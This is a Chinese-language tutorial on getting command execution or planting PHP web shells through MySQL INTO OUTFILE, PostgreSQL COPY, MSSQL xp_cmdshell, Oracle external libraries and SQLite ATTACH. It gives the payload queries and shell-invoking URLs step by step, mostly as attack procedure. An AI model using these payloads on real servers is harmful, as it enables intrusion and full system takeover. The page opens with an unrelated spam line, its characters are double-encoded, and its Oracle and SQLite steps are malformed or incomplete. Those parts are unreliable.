b2c平臺網(wǎng)站建設(shè)比百度好用的搜索軟件手機版
1. MySQL
條件
- 數(shù)據(jù)庫用戶需要具備高權(quán)限(如
FILE
權(quán)限)。 - 數(shù)據(jù)庫服務(wù)運行用戶需要對目標(biāo)目錄有寫權(quán)限。
- Web 服務(wù)器有可寫目錄,且支持執(zhí)行上傳的腳本(如 PHP、JSP 等)。
原理
- 利用 MySQL 的
SELECT ... INTO OUTFILE
功能,將惡意代碼寫入目標(biāo) Web 目錄,生成一個 Web Shell 文件。 - 攻擊者通過瀏覽器訪問 Web Shell,獲得命令執(zhí)行能力。
流程
- 確認(rèn)
FILE
權(quán)限:SELECT * FROM mysql.user WHERE User='target_user';
- 寫入 Web Shell 到目標(biāo)目錄:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
- 通過瀏覽器訪問 Web Shell 執(zhí)行命令:
http://xxxxxx.com/shell.php?cmd=whoami
2. Microsoft SQL Server (MSSQL)
條件
- 數(shù)據(jù)庫用戶需要
sysadmin
權(quán)限。 - 目標(biāo)服務(wù)器啟用了擴展存儲過程
xp_cmdshell
。 - 數(shù)據(jù)庫運行用戶有命令執(zhí)行權(quán)限。
原理
- 調(diào)用 MSSQL 的
xp_cmdshell
存儲過程,直接在操作系統(tǒng)中執(zhí)行命令。
流程
- 確認(rèn)是否啟用了
xp_cmdshell
:EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
- 利用
xp_cmdshell
執(zhí)行命令:EXEC xp_cmdshell 'whoami';
- 通過命令的輸出或回顯獲取執(zhí)行結(jié)果。
3. PostgreSQL
條件
- 數(shù)據(jù)庫用戶需要對文件系統(tǒng)具有寫權(quán)限。
- 數(shù)據(jù)庫支持使用
COPY
命令將數(shù)據(jù)寫入文件。 - 目標(biāo) Web 目錄可寫入文件,并允許腳本執(zhí)行。
原理
- 利用 PostgreSQL 的
COPY
功能,將 Web Shell 寫入目標(biāo)文件系統(tǒng)。
流程
- 寫入 Web Shell:
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
- 訪問 Web Shell:
http://xxxxx.com/shell.php?cmd=id
4. Oracle
條件
- 數(shù)據(jù)庫用戶需要
CREATE LIBRARY
權(quán)限。 - 數(shù)據(jù)庫運行用戶需要訪問操作系統(tǒng)。
- 利用外部過程或 Java 存儲過程。
原理
- 通過 Oracle 數(shù)據(jù)庫的外部過程,調(diào)用操作系統(tǒng)命令。
- 使用 Java 存儲過程執(zhí)行系統(tǒng)級操作。
流程
- 創(chuàng)建外部庫(如 DLL 文件):
CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
- 調(diào)用外部過程執(zhí)行命令:
DECLAREcmd VARCHAR2(1000); BEGINcmd := 'ls';DBMS_SCHEDULER.CREATE_JOB(cmd); END;
- 讀取命令執(zhí)行結(jié)果。
5. SQLite
條件
- SQLite 本身無法直接與操作系統(tǒng)交互。
- 必須結(jié)合其他漏洞(如本地文件包含)實現(xiàn) Web Shell。
原理
- 利用 SQLite 的
ATTACH
或其他功能,嘗試將惡意數(shù)據(jù)寫入特定目錄。
流程
- 寫入數(shù)據(jù):
ATTACH DATABASE '/var/www/html/shell.php' AS shell;
- 在 Web 服務(wù)器中訪問生成的 Web Shell 文件。
總結(jié)表
數(shù)據(jù)庫 | 條件 | 原理 | 流程簡述 |
---|---|---|---|
MySQL | FILE 權(quán)限,Web 目錄可寫 | 寫入 Web Shell 通過 SELECT ... INTO OUTFILE | 寫 Shell -> 訪問 Shell -> 執(zhí)行命令 |
MSSQL | sysadmin 權(quán)限,啟用 xp_cmdshell | 使用 xp_cmdshell 直接執(zhí)行系統(tǒng)命令 | 開啟 xp_cmdshell -> 執(zhí)行命令 |
PostgreSQL | 寫權(quán)限,Web 目錄可訪問 | 使用 COPY 寫入 Web Shell | 寫 Shell -> 訪問 Shell -> 執(zhí)行命令 |
Oracle | CREATE LIBRARY 權(quán)限,系統(tǒng)訪問權(quán)限 | 使用外部庫或 Java 存儲過程調(diào)用系統(tǒng)命令 | 配置庫 -> 調(diào)用命令 |
SQLite | 結(jié)合其他漏洞(如文件包含) | 寫入惡意數(shù)據(jù)文件,結(jié)合其他漏洞(如 LFI)訪問 | 寫 Shell -> 結(jié)合 LFI 執(zhí)行 |